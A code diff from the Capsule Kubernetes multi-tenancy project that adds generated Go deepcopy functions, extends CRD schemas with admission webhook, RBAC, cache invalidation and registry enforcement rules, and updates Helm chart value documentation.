    @@ -482,6 +596,31 @@ func (in ProcessedItems) DeepCopy() ProcessedItems {
     	return *out
     }
     
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *RBACConfiguration) DeepCopyInto(out *RBACConfiguration) {
    +	*out = *in
    +	if in.AdministrationClusterRoles != nil {
    +		in, out := &in.AdministrationClusterRoles, &out.AdministrationClusterRoles
    +		*out = make([]string, len(*in))
    +		copy(*out, *in)
    +	}
    +	if in.PromotionClusterRoles != nil {
    +		in, out := &in.PromotionClusterRoles, &out.PromotionClusterRoles
    +		*out = make([]string, len(*in))
    +		copy(*out, *in)
    +	}
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new RBACConfiguration.
    +func (in *RBACConfiguration) DeepCopy() *RBACConfiguration {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(RBACConfiguration)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
     // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
     func (in *RawExtension) DeepCopyInto(out *RawExtension) {
     	*out = *in
    @@ -925,6 +1064,80 @@ func (in *ResourceSpec) DeepCopy() *ResourceSpec {
     	return out
     }
     
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *RuleStatus) DeepCopyInto(out *RuleStatus) {
    +	*out = *in
    +	out.TypeMeta = in.TypeMeta
    +	in.ObjectMeta.DeepCopyInto(&out.ObjectMeta)
    +	in.Status.DeepCopyInto(&out.Status)
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new RuleStatus.
    +func (in *RuleStatus) DeepCopy() *RuleStatus {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(RuleStatus)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
    +// DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object.
    +func (in *RuleStatus) DeepCopyObject() runtime.Object {
    +	if c := in.DeepCopy(); c != nil {
    +		return c
    +	}
    +	return nil
    +}
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *RuleStatusList) DeepCopyInto(out *RuleStatusList) {
    +	*out = *in
    +	out.TypeMeta = in.TypeMeta
    +	in.ListMeta.DeepCopyInto(&out.ListMeta)
    +	if in.Items != nil {
    +		in, out := &in.Items, &out.Items
    +		*out = make([]RuleStatus, len(*in))
    +		for i := range *in {
    +			(*in)[i].DeepCopyInto(&(*out)[i])
    +		}
    +	}
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new RuleStatusList.
    +func (in *RuleStatusList) DeepCopy() *RuleStatusList {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(RuleStatusList)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
    +// DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object.
    +func (in *RuleStatusList) DeepCopyObject() runtime.Object {
    +	if c := in.DeepCopy(); c != nil {
    +		return c
    +	}
    +	return nil
    +}
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *RuleStatusSpec) DeepCopyInto(out *RuleStatusSpec) {
    +	*out = *in
    +	in.Rule.DeepCopyInto(&out.Rule)
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new RuleStatusSpec.
    +func (in *RuleStatusSpec) DeepCopy() *RuleStatusSpec {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(RuleStatusSpec)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
     // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
     func (in *Tenant) DeepCopyInto(out *Tenant) {
     	*out = *in
    @@ -1241,6 +1454,17 @@ func (in *TenantResourceStatus) DeepCopy() *TenantResourceStatus {
     func (in *TenantSpec) DeepCopyInto(out *TenantSpec) {
     	*out = *in
     	in.Permissions.DeepCopyInto(&out.Permissions)
    +	if in.Rules != nil {
    +		in, out := &in.Rules, &out.Rules
    +		*out = make([]*NamespaceRule, len(*in))
    +		for i := range *in {
    +			if (*in)[i] != nil {
    +				in, out := &(*in)[i], &(*out)[i]
    +				*out = new(NamespaceRule)
    +				(*in).DeepCopyInto(*out)
    +			}
    +		}
    +	}
     	if in.Owners != nil {
     		in, out := &in.Owners, &out.Owners
     		*out = make(api.OwnerListSpec, len(*in))
    @@ -1269,20 +1493,13 @@ func (in *TenantSpec) DeepCopyInto(out *TenantSpec) {
     		(*in).DeepCopyInto(*out)
     	}
     	in.IngressOptions.DeepCopyInto(&out.IngressOptions)
    -	if in.ContainerRegistries != nil {
    -		in, out := &in.ContainerRegistries, &out.ContainerRegistries
    -		*out = new(api.AllowedListSpec)
    -		(*in).DeepCopyInto(*out)
    -	}
     	if in.NodeSelector != nil {
     		in, out := &in.NodeSelector, &out.NodeSelector
     		*out = make(map[string]string, len(*in))
     		for key, val := range *in {
     			(*out)[key] = val
     		}
     	}
    -	in.NetworkPolicies.DeepCopyInto(&out.NetworkPolicies)
    -	in.LimitRanges.DeepCopyInto(&out.LimitRanges)
     	in.ResourceQuota.DeepCopyInto(&out.ResourceQuota)
     	if in.AdditionalRoleBindings != nil {
     		in, out := &in.AdditionalRoleBindings, &out.AdditionalRoleBindings
    @@ -1291,11 +1508,6 @@ func (in *TenantSpec) DeepCopyInto(out *TenantSpec) {
     			(*in)[i].DeepCopyInto(&(*out)[i])
     		}
     	}
    -	if in.ImagePullPolicies != nil {
    -		in, out := &in.ImagePullPolicies, &out.ImagePullPolicies
    -		*out = make([]api.ImagePullPolicySpec, len(*in))
    -		copy(*out, *in)
    -	}
     	if in.RuntimeClasses != nil {
     		in, out := &in.RuntimeClasses, &out.RuntimeClasses
     		*out = new(api.DefaultAllowedListSpec)
    @@ -1317,6 +1529,18 @@ func (in *TenantSpec) DeepCopyInto(out *TenantSpec) {
     		*out = new(bool)
     		**out = **in
     	}
    +	if in.ContainerRegistries != nil {
    +		in, out := &in.ContainerRegistries, &out.ContainerRegistries
    +		*out = new(api.AllowedListSpec)
    +		(*in).DeepCopyInto(*out)
    +	}
    +	if in.ImagePullPolicies != nil {
    +		in, out := &in.ImagePullPolicies, &out.ImagePullPolicies
    +		*out = make([]api.ImagePullPolicySpec, len(*in))
    +		copy(*out, *in)
    +	}
    +	in.NetworkPolicies.DeepCopyInto(&out.NetworkPolicies)
    +	in.LimitRanges.DeepCopyInto(&out.LimitRanges)
     }
     
     // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new TenantSpec.
    @@ -1375,6 +1599,28 @@ func (in *TenantStatus) DeepCopy() *TenantStatus {
     	return out
     }
     
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *TenantStatusNamespaceEnforcement) DeepCopyInto(out *TenantStatusNamespaceEnforcement) {
    +	*out = *in
    +	if in.Registries != nil {
    +		in, out := &in.Registries, &out.Registries
    +		*out = make([]api.OCIRegistry, len(*in))
    +		for i := range *in {
    +			(*in)[i].DeepCopyInto(&(*out)[i])
    +		}
    +	}
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new TenantStatusNamespaceEnforcement.
    +func (in *TenantStatusNamespaceEnforcement) DeepCopy() *TenantStatusNamespaceEnforcement {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(TenantStatusNamespaceEnforcement)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
     // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
     func (in *TenantStatusNamespaceItem) DeepCopyInto(out *TenantStatusNamespaceItem) {
     	*out = *in
    @@ -1390,6 +1636,7 @@ func (in *TenantStatusNamespaceItem) DeepCopyInto(out *TenantStatusNamespaceItem
     		*out = new(TenantStatusNamespaceMetadata)
     		(*in).DeepCopyInto(*out)
     	}
    +	in.Enforce.DeepCopyInto(&out.Enforce)
     }
     
     // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new TenantStatusNamespaceItem.
    
  • charts/capsule/crds/capsule.clastix.io_capsuleconfigurations.yaml+231 0 modified
    @@ -64,13 +64,207 @@ spec:
                       - name
                       type: object
                     type: array
    +              admission:
    +                description: Configuration for dynamic Validating and Mutating Admission
    +                  webhooks managed by Capsule.
    +                properties:
    +                  mutating:
    +                    description: Configure dynamic Mutating Admission for Capsule
    +                    properties:
    +                      annotations:
    +                        additionalProperties:
    +                          type: string
    +                        description: Annotations added to the Admission Webhook
    +                        type: object
    +                      client:
    +                        description: From the upstram struct
    +                        properties:
    +                          caBundle:
    +                            description: |-
    +                              `caBundle` is a PEM encoded CA bundle which will be used to validate the webhook's server certificate.
    +                              If unspecified, system trust roots on the apiserver are used.
    +                            format: byte
    +                            type: string
    +                          service:
    +                            description: |-
    +                              `service` is a reference to the service for this webhook. Either
    +                              `service` or `url` must be specified.
    +
    +                              If the webhook is running within the cluster, then you should use `service`.
    +                            properties:
    +                              name:
    +                                description: |-
    +                                  `name` is the name of the service.
    +                                  Required
    +                                type: string
    +                              namespace:
    +                                description: |-
    +                                  `namespace` is the namespace of the service.
    +                                  Required
    +                                type: string
    +                              path:
    +                                description: |-
    +                                  `path` is an optional URL path which will be sent in any request to
    +                                  this service.
    +                                type: string
    +                              port:
    +                                description: |-
    +                                  If specified, the port on the service that hosting webhook.
    +                                  Default to 443 for backward compatibility.
    +                                  `port` should be a valid port number (1-65535, inclusive).
    +                                format: int32
    +                                type: integer
    +                            required:
    +                            - name
    +                            - namespace
    +                            type: object
    +                          url:
    +                            description: |-
    +                              `url` gives the location of the webhook, in standard URL form
    +                              (`scheme://host:port/path`). Exactly one of `url` or `service`
    +                              must be specified.
    +
    +                              The `host` should not refer to a service running in the cluster; use
    +                              the `service` field instead. The host might be resolved via external
    +                              DNS in some apiservers (e.g., `kube-apiserver` cannot resolve
    +                              in-cluster DNS as that would be a layering violation). `host` may
    +                              also be an IP address.
    +
    +                              Please note that using `localhost` or `127.0.0.1` as a `host` is
    +                              risky unless you take great care to run this webhook on all hosts
    +                              which run an apiserver which might need to make calls to this
    +                              webhook. Such installs are likely to be non-portable, i.e., not easy
    +                              to turn up in a new cluster.
    +
    +                              The scheme must be "https"; the URL must begin with "https://".
    +
    +                              A path is optional, and if present may be any string permissible in
    +                              a URL. You may use the path to pass an arbitrary string to the
    +                              webhook, for example, a cluster identifier.
    +
    +                              Attempting to use a user or basic auth e.g. "user:password@" is not
    +                              allowed. Fragments ("#...") and query parameters ("?...") are not
    +                              allowed, either.
    +                            type: string
    +                        type: object
    +                      labels:
    +                        additionalProperties:
    +                          type: string
    +                        description: Labels added to the Admission Webhook
    +                        type: object
    +                      name:
    +                        description: Name the Admission Webhook
    +                        maxLength: 253
    +                        pattern: ^[a-z0-9]([-a-z0-9]*[a-z0-9])?$
    +                        type: string
    +                    required:
    +                    - client
    +                    type: object
    +                  validating:
    +                    description: Configure dynamic Validating Admission for Capsule
    +                    properties:
    +                      annotations:
    +                        additionalProperties:
    +                          type: string
    +                        description: Annotations added to the Admission Webhook
    +                        type: object
    +                      client:
    +                        description: From the upstram struct
    +                        properties:
    +                          caBundle:
    +                            description: |-
    +                              `caBundle` is a PEM encoded CA bundle which will be used to validate the webhook's server certificate.
    +                              If unspecified, system trust roots on the apiserver are used.
    +                            format: byte
    +                            type: string
    +                          service:
    +                            description: |-
    +                              `service` is a reference to the service for this webhook. Either
    +                              `service` or `url` must be specified.
    +
    +                              If the webhook is running within the cluster, then you should use `service`.
    +                            properties:
    +                              name:
    +                                description: |-
    +                                  `name` is the name of the service.
    +                                  Required
    +                                type: string
    +                              namespace:
    +                                description: |-
    +                                  `namespace` is the namespace of the service.
    +                                  Required
    +                                type: string
    +                              path:
    +                                description: |-
    +                                  `path` is an optional URL path which will be sent in any request to
    +                                  this service.
    +                                type: string
    +                              port:
    +                                description: |-
    +                                  If specified, the port on the service that hosting webhook.
    +                                  Default to 443 for backward compatibility.
    +                                  `port` should be a valid port number (1-65535, inclusive).
    +                                format: int32
    +                                type: integer
    +                            required:
    +                            - name
    +                            - namespace
    +                            type: object
    +                          url:
    +                            description: |-
    +                              `url` gives the location of the webhook, in standard URL form
    +                              (`scheme://host:port/path`). Exactly one of `url` or `service`
    +                              must be specified.
    +
    +                              The `host` should not refer to a service running in the cluster; use
    +                              the `service` field instead. The host might be resolved via external
    +                              DNS in some apiservers (e.g., `kube-apiserver` cannot resolve
    +                              in-cluster DNS as that would be a layering violation). `host` may
    +                              also be an IP address.
    +
    +                              Please note that using `localhost` or `127.0.0.1` as a `host` is
    +                              risky unless you take great care to run this webhook on all hosts
    +                              which run an apiserver which might need to make calls to this
    +                              webhook. Such installs are likely to be non-portable, i.e., not easy
    +                              to turn up in a new cluster.
    +
    +                              The scheme must be "https"; the URL must begin with "https://".
    +
    +                              A path is optional, and if present may be any string permissible in
    +                              a URL. You may use the path to pass an arbitrary string to the
    +                              webhook, for example, a cluster identifier.
    +
    +                              Attempting to use a user or basic auth e.g. "user:password@" is not
    +                              allowed. Fragments ("#...") and query parameters ("?...") are not
    +                              allowed, either.
    +                            type: string
    +                        type: object
    +                      labels:
    +                        additionalProperties:
    +                          type: string
    +                        description: Labels added to the Admission Webhook
    +                        type: object
    +                      name:
    +                        description: Name the Admission Webhook
    +                        maxLength: 253
    +                        pattern: ^[a-z0-9]([-a-z0-9]*[a-z0-9])?$
    +                        type: string
    +                    required:
    +                    - client
    +                    type: object
    +                type: object
                   allowServiceAccountPromotion:
                     default: false
                     description: |-
                       ServiceAccounts within tenant namespaces can be promoted to owners of the given tenant
                       this can be achieved by labeling the serviceaccount and then they are considered owners. This can only be done by other owners of the tenant.
                       However ServiceAccounts which have been promoted to owner can not promote further serviceAccounts.
                     type: boolean
    +              cacheInvalidation:
    +                default: 24h
    +                description: Define the period of time upon a cache invalidation is
    +                  executed for all caches.
    +                type: string
                   enableTLSReconciler:
                     default: false
                     description: |-
    @@ -152,6 +346,37 @@ spec:
                     description: Disallow creation of namespaces, whose name matches this
                       regexp
                     type: string
    +              rbac:
    +                default: {}
    +                description: Define Properties for managed ClusterRoles by Capsule
    +                properties:
    +                  administrationClusterRoles:
    +                    default:
    +                    - capsule-namespace-deleter
    +                    description: The ClusterRoles applied for Administrators
    +                    items:
    +                      type: string
    +                    type: array
    +                  deleter:
    +                    default: capsule-namespace-deleter
    +                    description: Name for the ClusterRole required to grant Namespace
    +                      Deletion permissions.
    +                    type: string
    +                  promotionClusterRoles:
    +                    default:
    +                    - capsule-namespace-provisioner
    +                    - capsule-namespace-deleter
    +                    description: The ClusterRoles applied for ServiceAccounts which
    +                      had owner Promotion
    +                    items:
    +                      type: string
    +                    type: array
    +                  provisioner:
    +                    default: capsule-namespace-provisioner
    +                    description: Name for the ClusterRole required to grant Namespace
    +                      Provision permissions.
    +                    type: string
    +                type: object
                   userGroups:
                     description: |-
                       Deprecated: use users property instead (https://projectcapsule.dev/docs/operating/setup/configuration/#users)
    @@ -191,12 +416,18 @@ spec:
                       type: object
                     type: array
                 required:
    +            - cacheInvalidation
                 - enableTLSReconciler
    +            - rbac
                 type: object
               status:
                 description: CapsuleConfigurationStatus defines the Capsule configuration
                   status.
                 properties:
    +              lastCacheInvalidation:
    +                description: Last time all caches were invalided
    +                format: date-time
    +                type: string
                   users:
                     description: Users which are considered Capsule Users and are bound
                       to the Capsule Tenant construct.
    
  • charts/capsule/crds/capsule.clastix.io_rulestatuses.yaml+94 0 added
    @@ -0,0 +1,94 @@
    +---
    +apiVersion: apiextensions.k8s.io/v1
    +kind: CustomResourceDefinition
    +metadata:
    +  annotations:
    +    controller-gen.kubebuilder.io/version: v0.20.0
    +  name: rulestatuses.capsule.clastix.io
    +spec:
    +  group: capsule.clastix.io
    +  names:
    +    kind: RuleStatus
    +    listKind: RuleStatusList
    +    plural: rulestatuses
    +    singular: rulestatus
    +  scope: Namespaced
    +  versions:
    +  - additionalPrinterColumns:
    +    - description: Age
    +      jsonPath: .metadata.creationTimestamp
    +      name: Age
    +      type: date
    +    name: v1beta2
    +    schema:
    +      openAPIV3Schema:
    +        properties:
    +          apiVersion:
    +            description: |-
    +              APIVersion defines the versioned schema of this representation of an object.
    +              Servers should convert recognized schemas to the latest internal value, and
    +              may reject unrecognized values.
    +              More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
    +            type: string
    +          kind:
    +            description: |-
    +              Kind is a string value representing the REST resource this object represents.
    +              Servers may infer this from the endpoint the client submits requests to.
    +              Cannot be updated.
    +              In CamelCase.
    +              More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
    +            type: string
    +          metadata:
    +            type: object
    +          status:
    +            description: RuleStatus contains the accumulated rules applying to namespace
    +              it's deployed in.
    +            properties:
    +              rule:
    +                description: Managed Enforcement properties per Namespace (aggregated
    +                  from rules)
    +                properties:
    +                  enforce:
    +                    description: Enforcement Rules applied
    +                    properties:
    +                      registries:
    +                        description: |-
    +                          Define registries which are allowed to be used within this tenant
    +                          The rules are aggregated, since you can use Regular Expressions the match registry endpoints
    +                        items:
    +                          properties:
    +                            policy:
    +                              description: Allowed PullPolicy for the given registry.
    +                                Supplying no value allows all policies.
    +                              items:
    +                                description: PullPolicy describes a policy for if/when
    +                                  to pull a container image
    +                                type: string
    +                              type: array
    +                            url:
    +                              description: OCI Registry endpoint, is treated as regular
    +                                expression.
    +                              type: string
    +                            validation:
    +                              default:
    +                              - pod/images
    +                              - pod/volumes
    +                              description: Requesting Resources
    +                              items:
    +                                enum:
    +                                - pod/images
    +                                - pod/volumes
    +                                type: string
    +                              type: array
    +                          required:
    +                          - url
    +                          type: object
    +                        type: array
    +                    type: object
    +                type: object
    +            type: object
    +        type: object
    +    served: true
    +    storage: true
    +    subresources:
    +      status: {}
    
  • charts/capsule/crds/capsule.clastix.io_tenants.yaml+137 8 modified
    @@ -1191,9 +1191,10 @@ spec:
                       type: object
                     type: array
                   containerRegistries:
    -                description: Specifies the trusted Image Registries assigned to the
    -                  Tenant. Capsule assures that all Pods resources created in the Tenant
    -                  can use only one of the allowed trusted registries. Optional.
    +                description: |-
    +                  Deprecated: Use Enforcement.Registries instead
    +
    +                  Specifies the trusted Image Registries assigned to the Tenant. Capsule assures that all Pods resources created in the Tenant can use only one of the allowed trusted registries. Optional.
                     properties:
                       allowed:
                         description: Match exact elements which are allowed as class names
    @@ -1346,9 +1347,10 @@ spec:
                         x-kubernetes-map-type: atomic
                     type: object
                   imagePullPolicies:
    -                description: Specify the allowed values for the imagePullPolicies
    -                  option in Pod resources. Capsule assures that all Pod resources
    -                  created in the Tenant can use only one of the allowed policy. Optional.
    +                description: |-
    +                  Deprecated: Use Enforcement.Registries instead
    +
    +                  Specify the allowed values for the imagePullPolicies option in Pod resources. Capsule assures that all Pod resources created in the Tenant can use only one of the allowed policy. Optional.
                     items:
                       enum:
                       - Always
    @@ -2464,6 +2466,100 @@ spec:
                         - Namespace
                         type: string
                     type: object
    +              rules:
    +                description: |-
    +                  Specify enforcement specifications for the scope of the Tenant.
    +                   We are moving all configuration enforcement. per namespace into a rule construct.
    +                   It's currently not final.
    +
    +                  Read More: https://projectcapsule.dev/docs/tenants/rules/
    +                items:
    +                  properties:
    +                    enforce:
    +                      description: Enforcement Rules applied
    +                      properties:
    +                        registries:
    +                          description: |-
    +                            Define registries which are allowed to be used within this tenant
    +                            The rules are aggregated, since you can use Regular Expressions the match registry endpoints
    +                          items:
    +                            properties:
    +                              policy:
    +                                description: Allowed PullPolicy for the given registry.
    +                                  Supplying no value allows all policies.
    +                                items:
    +                                  description: PullPolicy describes a policy for if/when
    +                                    to pull a container image
    +                                  type: string
    +                                type: array
    +                              url:
    +                                description: OCI Registry endpoint, is treated as
    +                                  regular expression.
    +                                type: string
    +                              validation:
    +                                default:
    +                                - pod/images
    +                                - pod/volumes
    +                                description: Requesting Resources
    +                                items:
    +                                  enum:
    +                                  - pod/images
    +                                  - pod/volumes
    +                                  type: string
    +                                type: array
    +                            required:
    +                            - url
    +                            type: object
    +                          type: array
    +                      type: object
    +                    namespaceSelector:
    +                      description: Select namespaces which are going to usese
    +                      properties:
    +                        matchExpressions:
    +                          description: matchExpressions is a list of label selector
    +                            requirements. The requirements are ANDed.
    +                          items:
    +                            description: |-
    +                              A label selector requirement is a selector that contains values, a key, and an operator that
    +                              relates the key and values.
    +                            properties:
    +                              key:
    +                                description: key is the label key that the selector
    +                                  applies to.
    +                                type: string
    +                              operator:
    +                                description: |-
    +                                  operator represents a key's relationship to a set of values.
    +                                  Valid operators are In, NotIn, Exists and DoesNotExist.
    +                                type: string
    +                              values:
    +                                description: |-
    +                                  values is an array of string values. If the operator is In or NotIn,
    +                                  the values array must be non-empty. If the operator is Exists or DoesNotExist,
    +                                  the values array must be empty. This array is replaced during a strategic
    +                                  merge patch.
    +                                items:
    +                                  type: string
    +                                type: array
    +                                x-kubernetes-list-type: atomic
    +                            required:
    +                            - key
    +                            - operator
    +                            type: object
    +                          type: array
    +                          x-kubernetes-list-type: atomic
    +                        matchLabels:
    +                          additionalProperties:
    +                            type: string
    +                          description: |-
    +                            matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
    +                            map is equivalent to an element of matchExpressions, whose key field is "key", the
    +                            operator is "In", and the values array contains only "value". The requirements are ANDed.
    +                          type: object
    +                      type: object
    +                      x-kubernetes-map-type: atomic
    +                  type: object
    +                type: array
                   runtimeClasses:
                     description: |-
                       Specifies the allowed RuntimeClasses assigned to the Tenant.
    @@ -2854,6 +2950,41 @@ spec:
                             - type
                             type: object
                           type: array
    +                    enforce:
    +                      description: Managed Metadata
    +                      properties:
    +                        registry:
    +                          description: Registries which are allowed within this namespace
    +                          items:
    +                            properties:
    +                              policy:
    +                                description: Allowed PullPolicy for the given registry.
    +                                  Supplying no value allows all policies.
    +                                items:
    +                                  description: PullPolicy describes a policy for if/when
    +                                    to pull a container image
    +                                  type: string
    +                                type: array
    +                              url:
    +                                description: OCI Registry endpoint, is treated as
    +                                  regular expression.
    +                                type: string
    +                              validation:
    +                                default:
    +                                - pod/images
    +                                - pod/volumes
    +                                description: Requesting Resources
    +                                items:
    +                                  enum:
    +                                  - pod/images
    +                                  - pod/volumes
    +                                  type: string
    +                                type: array
    +                            required:
    +                            - url
    +                            type: object
    +                          type: array
    +                      type: object
                         metadata:
                           description: Managed Metadata
                           properties:
    @@ -2892,8 +3023,6 @@ spec:
                 - size
                 - state
                 type: object
    -        required:
    -        - spec
             type: object
         served: true
         storage: true
    
  • charts/capsule/README.md+16 6 modified
    @@ -115,6 +115,7 @@ The following Values have changed key or Value:
     | manager.options.administrators | list | `[]` | Define entities which can act as Administrators in the capsule construct These entities are automatically owners for all existing tenants. Meaning they can add namespaces to any tenant. However they must be specific by using the capsule label for interacting with namespaces. Because if that label is not defined, it's assumed that namespace interaction was not targeted towards a tenant and will therefor be ignored by capsule. May also be handy in GitOps scenarios where certain service accounts need to be able to manage namespaces for all tenants. |
     | manager.options.allowServiceAccountPromotion | bool | `false` | ServiceAccounts within tenant namespaces can be promoted to owners of the given tenant this can be achieved by labeling the serviceaccount and then they are considered owners. This can only be done by other owners of the tenant. However ServiceAccounts which have been promoted to owner can not promote further serviceAccounts. |
     | manager.options.annotations | object | `{}` | Additional annotations to add to the CapsuleConfiguration resource |
    +| manager.options.cacheInvalidation | string | `"24h0m0s"` | Duration after which the in-memory cache is invalidated (based on usaage) and re-fetched from the API server |
     | manager.options.capsuleConfiguration | string | `"default"` | Change the default name of the capsule configuration name |
     | manager.options.capsuleUserGroups | list | `[]` | DEPRECATED: use users properties. Names of the users considered as Capsule users. |
     | manager.options.createConfiguration | bool | `true` | Create Configuration |
    @@ -125,6 +126,11 @@ The following Values have changed key or Value:
     | manager.options.logLevel | string | `"info"` | Set the log verbosity of the capsule with a value from 1 to 5 |
     | manager.options.nodeMetadata | object | `{"forbiddenAnnotations":{"denied":[],"deniedRegex":""},"forbiddenLabels":{"denied":[],"deniedRegex":""}}` | Allows to set the forbidden metadata for the worker nodes that could be patched by a Tenant |
     | manager.options.protectedNamespaceRegex | string | `""` | If specified, disallows creation of namespaces matching the passed regexp |
    +| manager.options.rbac | object | `{"administrationClusterRoles":["capsule-namespace-deleter"],"deleter":"capsule-namespace-deleter","promotionClusterRoles":["capsule-namespace-provisioner","capsule-namespace-deleter"],"provisioner":"capsule-namespace-provisioner"}` | Managed RBAC configuration for the controller |
    +| manager.options.rbac.administrationClusterRoles | list | `["capsule-namespace-deleter"]` | The ClusterRoles applied for Administrators |
    +| manager.options.rbac.deleter | string | `"capsule-namespace-deleter"` | Name for the ClusterRole required to grant Namespace Deletion permissions. |
    +| manager.options.rbac.promotionClusterRoles | list | `["capsule-namespace-provisioner","capsule-namespace-deleter"]` | The ClusterRoles applied for ServiceAccounts which had owner Promotion |
    +| manager.options.rbac.provisioner | string | `"capsule-namespace-provisioner"` | Name for the ClusterRole required to grant Namespace Provision permissions. |
     | manager.options.userNames | list | `[]` | DEPRECATED: use users properties. Names of the users considered as Capsule users. |
     | manager.options.users | list | `[{"kind":"Group","name":"projectcapsule.dev"}]` | Define entities which are considered part of the Capsule construct. Users not mentioned here will be ignored by Capsule |
     | manager.options.workers | int | `1` | Workers (MaxConcurrentReconciles) is the maximum number of concurrent Reconciles which can be run (ALPHA). |
    @@ -166,6 +172,7 @@ The following Values have changed key or Value:
     
     | Key | Type | Default | Description |
     |-----|------|---------|-------------|
    +| webhooks.annotations | object | `{}` | Additional Annotations for all webhooks |
     | webhooks.exclusive | bool | `false` | When `crds.exclusive` is `true` the webhooks will be installed |
     | webhooks.hooks.config.enabled | bool | `true` | Enable the Hook |
     | webhooks.hooks.config.failurePolicy | string | `"Ignore"` | [FailurePolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy) |
    @@ -210,6 +217,13 @@ The following Values have changed key or Value:
     | webhooks.hooks.ingresses.namespaceSelector | object | `{"matchExpressions":[{"key":"capsule.clastix.io/tenant","operator":"Exists"}]}` | [NamespaceSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-namespaceselector) |
     | webhooks.hooks.ingresses.objectSelector | object | `{}` | [ObjectSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-objectselector) |
     | webhooks.hooks.ingresses.reinvocationPolicy | string | `"Never"` | [ReinvocationPolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#reinvocation-policy) |
    +| webhooks.hooks.managed.enabled | bool | `true` | Enable the Hook |
    +| webhooks.hooks.managed.failurePolicy | string | `"Fail"` | [FailurePolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy) |
    +| webhooks.hooks.managed.matchConditions | list | `[]` | [MatchConditions](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-matchpolicy) |
    +| webhooks.hooks.managed.matchPolicy | string | `"Exact"` | [MatchPolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-matchpolicy) |
    +| webhooks.hooks.managed.namespaceSelector | object | `{"matchExpressions":[{"key":"capsule.clastix.io/tenant","operator":"Exists"}]}` | [NamespaceSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-namespaceselector) |
    +| webhooks.hooks.managed.objectSelector | object | `{"matchExpressions":[{"key":"projectcapsule.dev/managed-by","operator":"Exists"}]}` | [ObjectSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-objectselector) |
    +| webhooks.hooks.managed.rules | list | `[{"apiGroups":["*"],"apiVersions":["*"],"operations":["UPDATE","DELETE"],"resources":["*"],"scope":"*"}]` | [Rules](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-rules) |
     | webhooks.hooks.namespaceOwnerReference | object | `{}` | Deprecated, use webhooks.hooks.namespaces instead |
     | webhooks.hooks.namespaces.enabled | bool | `true` | Enable the Hook |
     | webhooks.hooks.namespaces.failurePolicy | string | `"Fail"` | [FailurePolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy) |
    @@ -276,19 +290,15 @@ The following Values have changed key or Value:
     | webhooks.hooks.tenantLabel.objectSelector | object | `{}` | [ObjectSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-objectselector) |
     | webhooks.hooks.tenantLabel.reinvocationPolicy | string | `"Never"` | [ReinvocationPolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#reinvocation-policy) |
     | webhooks.hooks.tenantLabel.rules | list | `[{"apiGroups":["*"],"apiVersions":["*"],"operations":["CREATE","UPDATE"],"resources":["*"],"scope":"Namespaced"}]` | [Rules](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-rules) |
    -| webhooks.hooks.tenantResourceObjects.enabled | bool | `true` | Enable the Hook |
    -| webhooks.hooks.tenantResourceObjects.failurePolicy | string | `"Fail"` | [FailurePolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy) |
    -| webhooks.hooks.tenantResourceObjects.matchConditions | list | `[]` | [MatchConditions](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-matchpolicy) |
    -| webhooks.hooks.tenantResourceObjects.matchPolicy | string | `"Exact"` | [MatchPolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-matchpolicy) |
